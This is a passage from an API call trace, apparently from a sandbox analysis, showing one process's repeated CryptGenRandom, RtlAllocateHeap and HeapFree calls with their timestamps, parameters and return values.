pbBuffer=0x366b41c) returned 1 [0146.107] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622818 [0146.108] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a34c0 [0146.108] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622818 | out: hHeap=0x2ad0000) returned 1 [0146.111] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366b3f4 | out: pbBuffer=0x366b3f4) returned 1 [0146.118] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366b46c | out: pbBuffer=0x366b46c) returned 1 [0146.118] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36225c0 [0146.118] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3c68 [0146.118] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36225c0 | out: hHeap=0x2ad0000) returned 1 [0146.122] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366b354 | out: pbBuffer=0x366b354) returned 1 [0146.127] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366ba5c | out: pbBuffer=0x366ba5c) returned 1 [0146.127] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622688 [0146.127] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4410 [0146.127] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622688 | out: hHeap=0x2ad0000) returned 1 [0146.131] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366b944 | out: pbBuffer=0x366b944) returned 1 [0146.135] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366bc3c | out: pbBuffer=0x366bc3c) returned 1 [0146.135] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0146.135] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a48a8 [0146.135] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0146.139] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366bf34 | out: pbBuffer=0x366bf34) returned 1 [0146.142] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366b91c | out: pbBuffer=0x366b91c) returned 1 [0146.142] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0146.142] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a54e8 [0146.142] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0146.145] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366be44 | out: pbBuffer=0x366be44) returned 1 [0146.146] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622688 [0146.149] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366ba84 | out: pbBuffer=0x366ba84) returned 1 [0146.149] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622a70 [0146.149] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3028 [0146.149] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622a70 | out: hHeap=0x2ad0000) returned 1 [0146.149] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c5fc8 [0146.153] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366be6c | out: pbBuffer=0x366be6c) returned 1 [0146.153] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622818 [0146.153] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4288 [0146.153] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622818 | out: hHeap=0x2ad0000) returned 1 [0146.158] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366bd7c | out: pbBuffer=0x366bd7c) returned 1 [0146.158] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622818 [0146.158] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5360 [0146.158] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622818 | out: hHeap=0x2ad0000) returned 1 [0146.158] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c5fc8 [0146.162] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366b96c | out: pbBuffer=0x366b96c) returned 1 [0146.162] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622750 [0146.162] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4100 [0146.162] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622750 | out: hHeap=0x2ad0000) returned 1 [0146.167] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3671ebc | out: pbBuffer=0x3671ebc) returned 1 [0146.168] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622688 [0146.168] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a2ea0 [0146.168] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622688 | out: hHeap=0x2ad0000) returned 1 [0146.168] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c5fc8 [0146.172] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3671fac | out: pbBuffer=0x3671fac) returned 1 [0146.172] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622b38 [0146.172] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4720 [0146.172] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622b38 | out: hHeap=0x2ad0000) returned 1 [0146.175] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3671f84 | out: pbBuffer=0x3671f84) returned 1 [0146.178] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3671e44 | out: pbBuffer=0x3671e44) returned 1 [0146.179] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622b38 [0146.179] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a2ea0 [0146.179] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622b38 | out: hHeap=0x2ad0000) returned 1 [0146.183] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3671d04 | out: pbBuffer=0x3671d04) returned 1 [0146.186] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3662c3c | out: pbBuffer=0x3662c3c) returned 1 [0146.186] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0146.186] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4ec8 [0146.186] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0146.191] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3662e94 | out: pbBuffer=0x3662e94) returned 1 [0146.202] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3671df4 | out: pbBuffer=0x3671df4) returned 1 [0146.202] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622750 [0146.202] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4ec8 [0146.202] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622750 | out: hHeap=0x2ad0000) returned 1 [0146.206] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3671dcc | out: pbBuffer=0x3671dcc) returned 1 [0146.206] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622a70 [0146.207] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a37d0 [0146.207] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622a70 | out: hHeap=0x2ad0000) returned 1 [0146.207] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x379f730 [0146.210] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36720fc | out: pbBuffer=0x36720fc) returned 1 [0146.210] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622688 [0146.210] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a51d8 [0146.210] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622688 | out: hHeap=0x2ad0000) returned 1 [0146.214] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36720d4 | out: pbBuffer=0x36720d4) returned 1 [0146.217] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36720ac | out: pbBuffer=0x36720ac) returned 1 [0146.217] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0146.217] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5980 [0146.217] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0146.217] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x379f618 [0146.221] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3672084 | out: pbBuffer=0x3672084) returned 1 [0146.221] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622a70 [0146.221] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3958 [0146.221] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622a70 | out: hHeap=0x2ad0000) returned 1 [0146.226] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3672124 | out: pbBuffer=0x3672124) returned 1 [0146.229] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3672214 | out: pbBuffer=0x3672214) returned 1 [0146.229] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622b38 [0146.230] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a54e8 [0146.230] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622b38 | out: hHeap=0x2ad0000) returned 1 [0146.230] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x379f7a8 [0146.232] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36721ec | out: pbBuffer=0x36721ec) returned 1 [0146.232] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0146.233] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3338 [0146.233] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0146.233] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x379f848 [0146.236] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3672174 | out: pbBuffer=0x3672174) returned 1 [0146.236] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622a70 [0146.236] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4410 [0146.236] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622a70 | out: hHeap=0x2ad0000) returned 1 [0146.239] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3672304 | out: pbBuffer=0x3672304) returned 1 [0146.243] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3671df4 | out: pbBuffer=0x3671df4) returned 1 [0146.243] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0146.243] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a48a8 [0146.243] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0146.247] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3671d04 | out: pbBuffer=0x3671d04) returned 1 [0146.250] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3671d7c | out: pbBuffer=0x3671d7c) returned 1 [0146.250] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0146.250] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4ec8 [0146.250] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0146.250] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eaff8 [0146.254] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3671e44 | out: pbBuffer=0x3671e44) returned 1 [0146.254] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0146.254] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3df0 [0146.254] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0146.258] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3671f5c | out: pbBuffer=0x3671f5c) returned 1 [0146.261] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3671f84 | out: pbBuffer=0x3671f84) returned 1 [0146.261] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622750 [0146.261] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3c68 [0146.261] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622750 | out: hHeap=0x2ad0000) returned 1 [0146.326] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3671fd4 | out: pbBuffer=0x3671fd4) returned 1 [0146.327] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622750 [0146.327] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3028 [0146.327] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622750 | out: hHeap=0x2ad0000) returned 1 [0146.331] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3671bc4 | out: pbBuffer=0x3671bc4) returned 1 [0146.331] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0146.331] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3028 [0146.331] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0146.335] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3671c8c | out: pbBuffer=0x3671c8c) returned 1 [0146.339] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3671b24 | out: pbBuffer=0x3671b24) returned 1 [0146.339] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36225c0 [0146.339] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4288 [0146.339] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36225c0 | out: hHeap=0x2ad0000) returned 1 [0146.339] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eaff8 [0146.345] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3671b74 | out: pbBuffer=0x3671b74) returned 1 [0146.346] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622688 [0146.346] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3ae0 [0146.346] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622688 | out: hHeap=0x2ad0000) returned 1 [0146.349] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3671b4c | out: pbBuffer=0x3671b4c) returned 1 [0146.353] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3671a5c | out: pbBuffer=0x3671a5c) returned 1 [0146.353] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622818 [0146.353] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3c68 [0146.353] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622818 | out: hHeap=0x2ad0000) returned 1 [0146.353] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eaff8 [0146.357] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3671a34 | out: pbBuffer=0x3671a34) returned 1 [0146.357] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622a70 [0146.357] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4410 [0146.357] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622a70 | out: hHeap=0x2ad0000) returned 1 [0146.360] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x367191c | out: pbBuffer=0x367191c) returned 1 [0146.360] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622750 [0146.364] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x367196c | out: pbBuffer=0x367196c) returned 1 [0146.364] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0146.364] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a48a8 [0146.364] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0146.364] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eadf0 [0146.368] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3671994 | out: pbBuffer=0x3671994) returned 1 [0146.368] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0146.368] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5e18 [0146.368] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0146.411] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36719bc | out: pbBuffer=0x36719bc) returned 1 [0146.411] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0146.411] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4ec8 [0146.411] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0146.416] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x367182c | out: pbBuffer=0x367182c) returned 1 [0146.421] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3671d2c | out: pbBuffer=0x3671d2c) returned 1 [0146.421] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0146.421] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4410 [0146.421] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0146.421] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eadf0 [0146.424] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3671e1c | out: pbBuffer=0x3671e1c) returned 1 [0146.425] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622688 [0146.425] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5e18 [0146.425] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622688 | out: hHeap=0x2ad0000) returned 1 [0146.428] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3671c3c | out: pbBuffer=0x3671c3c) returned 1 [0146.456] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3671fac | out: pbBuffer=0x3671fac) returned 1 [0146.456] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622750 [0146.456] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4ec8 [0146.456] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622750 | out: hHeap=0x2ad0000) returned 1 [0146.456] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eadf0 [0146.461] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3671ee4 | out: pbBuffer=0x3671ee4) returned 1 [0146.462] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36225c0 [0146.462] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4a30 [0146.462] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36225c0 | out: hHeap=0x2ad0000) returned 1 [0146.465] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3671ebc | out: pbBuffer=0x3671ebc) returned 1 [0146.488] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3671f0c | out: pbBuffer=0x3671f0c) returned 1 [0146.488] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622688 [0146.488] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5e18 [0146.488] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622688 | out: hHeap=0x2ad0000) returned 1 [0146.488] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eadf0 [0146.492] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3671e94 | out: pbBuffer=0x3671e94) returned 1 [0146.492] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622688 [0146.492] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4720 [0146.492] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622688 | out: hHeap=0x2ad0000) returned 1 [0146.496] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3671cdc | out: pbBuffer=0x3671cdc) returned 1 [0146.496] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0146.496] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5980 [0146.496] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0146.499] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x347e0fc | out: pbBuffer=0x347e0fc) returned 1 [0146.503] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x347eafc | out: pbBuffer=0x347eafc) returned 1 [0146.503] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622a70 [0146.503] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4ec8 [0146.503] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622a70 | out: hHeap=0x2ad0000) returned 1 [0146.506] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x35752dc | out: pbBuffer=0x35752dc) returned 1 [0146.507] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0146.507] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4410 [0146.507] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0146.510] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3575444 | out: pbBuffer=0x3575444) returned 1 [0146.514] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x35754e4 | out: pbBuffer=0x35754e4) returned 1 [0146.514] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0146.514] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4ec8 [0146.514] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0146.514] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eadf0 [0146.517] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3646dcc | out: pbBuffer=0x3646dcc) returned 1 [0146.518] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0146.518] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a37d0 [0146.518] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0146.521] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3646f34 | out: pbBuffer=0x3646f34) returned 1 [0146.524] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3646ee4 | out: pbBuffer=0x3646ee4) returned 1 [0146.525] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36225c0 [0146.525] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a34c0 [0146.525] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36225c0 | out: hHeap=0x2ad0000) returned 1 [0146.525] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eadf0 [0146.528] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x347f2dc | out: pbBuffer=0x347f2dc) returned 1 [0146.528] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622750 [0146.529] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5e18 [0146.529] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622750 | out: hHeap=0x2ad0000) returned 1 [0146.532] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x347f8f4 | out: pbBuffer=0x347f8f4) returned 1 [0146.532] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622818 [0146.532] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4100 [0146.532] HeapFree (in: 